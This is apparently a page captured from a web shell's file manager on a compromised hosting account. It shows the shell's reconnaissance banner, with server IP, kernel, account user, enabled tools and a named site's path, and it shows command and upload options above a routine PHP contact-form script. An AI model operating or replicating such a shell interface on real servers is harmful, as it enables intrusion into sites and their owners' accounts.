Server IP : 103.53.40.154 / Your IP : 18.222.121.24 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home2/ppcad7no/mauliconstruction.co.in/mail/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php if(empty($_POST['name']) || empty($_POST['subject']) || empty($_POST['message']) || !filter_var($_POST['email'], FILTER_VALIDATE_EMAIL)) { http_response_code(500); exit(); } $name = strip_tags(htmlspecialchars($_POST['name'])); $email = strip_tags(htmlspecialchars($_POST['email'])); $m_subject = strip_tags(htmlspecialchars($_POST['subject'])); $message = strip_tags(htmlspecialchars($_POST['message'])); $to = "info@example.com"; // Change this email to your // $subject = "$m_subject: $name"; $body = "You have received a new message from your website contact form.\n\n"."Here are the details:\n\nName: $name\n\n\nEmail: $email\n\nSubject: $m_subject\n\nMessage: $message"; $header = "From: $email"; $header .= "Reply-To: $email"; if(!mail($to, $subject, $body, $header)) http_response_code(500); ?>